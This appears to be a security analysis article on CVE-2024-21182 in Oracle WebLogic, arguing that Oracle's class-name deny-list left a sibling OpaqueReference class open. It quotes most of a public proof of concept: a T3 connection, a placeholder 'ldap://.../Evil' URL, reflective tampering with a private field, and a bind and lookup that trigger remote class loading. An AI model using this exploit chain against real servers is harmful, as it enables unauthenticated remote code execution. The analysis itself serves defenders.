Oracle's patch for CVE-2023-21839 added a guard against weblogic.jndi.internal.ForeignOpaqueReference. A T3 client could no longer bind() that class into a WebLogic server's JNDI tree to coerce a server-side lookup against an attacker-controlled LDAP URL. The patch named the class. weblogic.ejb.container.internal.AggregatableOpaqueReference, which lives one package over and reaches the same MessageDestinationReference.lookupMessageDestination sink at line 62 by way of the same reflective referent field, was not in the patch. CVE-2024-21182, addressed in Oracle's October 2024 Critical Patch Update and added to CISA's Known Exploited Vulnerabilities Catalog on June 1, 2026 with a three-day federal remediation deadline, is what a 149-line public PoC at k4it0k1d/CVE-2024-21182 does with the sibling class.
CVE-2024-21182: WebLogic Denied `ForeignOpaqueReference`. `AggregatableOpaqueReference` Reaches The Same JNDI Lookup.
patterns
cve
proof of concept
The PoC kept the import the patch named.
Six weeks after Oracle's October 2024 Critical Patch Update, a GitHub user named k4it0k1d published a 149-line Java source file at https://github.com/k4it0k1d/CVE-2024-21182. The repository's only documentation is a two-line README: "Oracle WebLogic Server JNDI Vulnerability / For educational purpose only." The code is the document.
The file's import block lists four WebLogic classes:
import weblogic.ejb.container.internal.AggregatableOpaqueReference;
import weblogic.j2ee.descriptor.InjectionTargetBean;
import weblogic.j2ee.descriptor.MessageDestinationRefBean;
import weblogic.jndi.internal.ForeignOpaqueReference;The fourth import is not referenced anywhere in the body of the file. ForeignOpaqueReference is the class Oracle's CVE-2023-21839 patch named. The PoC for CVE-2023-21839 used that class; the file at k4it0k1d/CVE-2024-21182 is what the prior PoC looks like after one carrier swap. The carrier this PoC actually uses is on the first import line: AggregatableOpaqueReference, in a different WebLogic package, reaching the same server-side resolution path. The patch from the 2023 version of the PoC to the 2024 version is, structurally, the same patch Oracle would have needed to apply to close the family instead of the instance: change one class reference.
The author chose the second carrier. Oracle's deny-list had named the first. The unused import sits in the file as testimony.
The sink does not check the carrier.
The client connects to the WebLogic server on T3 port 7001 with no authentication:
String t3Url = "192.168.xx.xx:7001";
String ldapUrl = "ldap://192.168.xx.xx:1389/Evil";
InitialContext c = getInitialContext("t3://"+t3Url);It instantiates a MessageDestinationReference whose third constructor argument is the attacker-controlled LDAP URL:
weblogic.application.naming.MessageDestinationReference messageDestinationReference =
new weblogic.application.naming.MessageDestinationReference(
null,
new MessageDestinationRefBean() { /* empty getters */ },
String.format("%s", ldapUrl),
null, null);It instantiates an AggregatableOpaqueReference with throwaway strings for the carrier's public constructor, then uses reflection to install the malicious MessageDestinationReference into the carrier's private referent field:
AggregatableOpaqueReference f = new AggregatableOpaqueReference("s", "random", "random");
Field ref = AggregatableOpaqueReference.class.getDeclaredField("referent");
ref.setAccessible(true);
ref.set(f, messageDestinationReference);The reflective set is necessary because the public constructor will not accept a MessageDestinationReference as the referent. The field is private; the language's normal access protections refuse the assignment; setAccessible(true) defeats the protection. The carrier now holds a referent the language never agreed to give it.
The client binds the rigged carrier under a random name and immediately looks it up:
String bindName = new Random(System.currentTimeMillis()).nextLong() + "";
c.bind(bindName, f);
c.lookup(bindName);The bind serializes the carrier and sends it to the server. The lookup triggers the server to resolve it. The reproducible Docker lab at dinosn/CVE-2024-21182, published June 2, 2026, documents the server-side resolution chain:
weblogic.jndi.internal.WLContextImpl.lookup
-> javax.naming.spi.NamingManager.getObjectInstance
-> weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
-> weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (line 62)
-> new InitialContext().lookup("ldap://192.168.xx.xx:1389/Evil")lookupMessageDestination reads the URL the client put into the MessageDestinationReference constructor and passes it to a fresh InitialContext().lookup(). The lookup runs inside the WebLogic JVM. The URL is attacker-controlled. The LDAP server returns a JNDI Reference with a javaCodeBase field pointing to an attacker-controlled HTTP server. The WebLogic JVM, running a JDK old enough to default com.sun.jndi.ldap.object.trustURLCodebase=true, fetches and loads the class from that HTTP server. The class's static initializer runs whatever code the attacker wrote.
The entire chain is unauthenticated. The entire chain runs in the server's process. The attacker has executed code as the WebLogic user, on a port (7001) the product expects every cluster member to reach.
At no point in the chain does the server ask which OpaqueReference implementation it is resolving. The sink reads the referent the carrier hands it. Both ForeignOpaqueReference and AggregatableOpaqueReference can hand it a MessageDestinationReference with the attacker's URL. The check the CVE-2023-21839 patch installed lives upstream of the sink, keyed on the carrier's class name. It looked at the first one. It did not look at the second.
The OpaqueReference family.
OpaqueReference is a WebLogic-internal interface for objects whose JNDI resolution happens server-side through a custom resolver instead of through standard Java reference serialization. The interface exists so that components in WebLogic's clustering, EJB container, and naming subsystems can hand each other unresolved references that get fixed up the first time someone asks for them. The interface has more than two implementations. ForeignOpaqueReference and AggregatableOpaqueReference are two of them. Each was named in turn by a CVE; the rest of the hierarchy is not, at the time of writing, listed in any public class-name deny-list.
A check keyed on class name closes one carrier per round. The sink is the same in every round. The thing the sink does is read the referent the carrier hands it and resolve it as a JNDI URL. The sink has no notion that the carrier should not be allowed to hand it an attacker-controlled URL. The carrier list is the only check.
This is the unpatchable-primitive shape on WebLogic's T3/IIOP. The catalog already carries the same shape elsewhere. On Apache Calcite's ModelHandler, the patch closes six gadget classes and the Javadoc admits the deny-list is not a sandbox. On ActiveMQ's JMX-denied schemes, the 5.19.4 patch denied one URI scheme and the next CVE on the same line denied fourteen. WebLogic joins both. The list of named OpaqueReference subclasses grew by one with CVE-2023-21839. It grew by one again with CVE-2024-21182. The reason the carriers can be named one at a time is that the design did not put the check at the sink.
Twenty months from "unspecified" to KEV.
Oracle's October 2024 CPU bulletin for CVE-2024-21182 calls the bug an "unspecified vulnerability in the Core component of Oracle WebLogic Server" reachable over T3 and IIOP. CVSS 7.5. Unauthenticated. The sentence does not name OpaqueReference, JNDI, MessageDestinationReference, the referent field, or any class in the path. The defender reading the bulletin received the words "unspecified" and "Core."
CISA added CVE-2024-21182 to KEV on June 1, 2026, twenty months after the patch shipped. The federal deadline was June 4, 2026. Three days. The PoC at k4it0k1d has been public on GitHub since December 29, 2024, eighteen months before CISA's notification. The reproducible Docker lab at dinosn was created on June 2, 2026, the day after KEV inclusion. The lab's README cites vulhub's CVE-2023-21839 image and notes that the lab "faithfully reproduces the OpaqueReference JNDI-injection RCE vulnerability class, exercised with the exact CVE-2024-21182 gadget classes."
In the eighteen-month window between PoC publication and KEV inclusion, the customer-visible signal that the "unspecified vulnerability in the Core component" was a JNDI injection through a sibling of the previously-named class was the GitHub repository the Oracle advisory does not link. A WebLogic administrator who read the October 2024 CPU and applied the patch on schedule received no further guidance until CISA's notification arrived. The patch had been on the server for twenty months. The administrator was not informed that the bug it closed was a JNDI injection. The administrator was not informed that the patch was a class-name deny-list. The administrator was informed in June 2026 that the patch they had already applied was now urgent.
This is the disclosure-after-exploitation shape with the disclosure timeline split into two halves. The technical disclosure was the GitHub PoC, eighteen months before the regulatory disclosure. The customers in the gap were patched by Oracle's calendar and uninformed by Oracle's bulletin. The federal deadline catches up to what the CVE description was already documenting on its publication day, in words the bulletin chose not to use.
Close.
OpaqueReference is older than every administrator currently running WebLogic. The interface was designed for a clustering model in which T3/IIOP peers were trusted by topology, not by check. The deserialize-and-resolve contract assumes the peer who sent the object had a reason to send it. The check Oracle adds, one class at a time, is the same shape as the trust the design did not include from the start.
The patch denied one OpaqueReference. The sink reads any of them.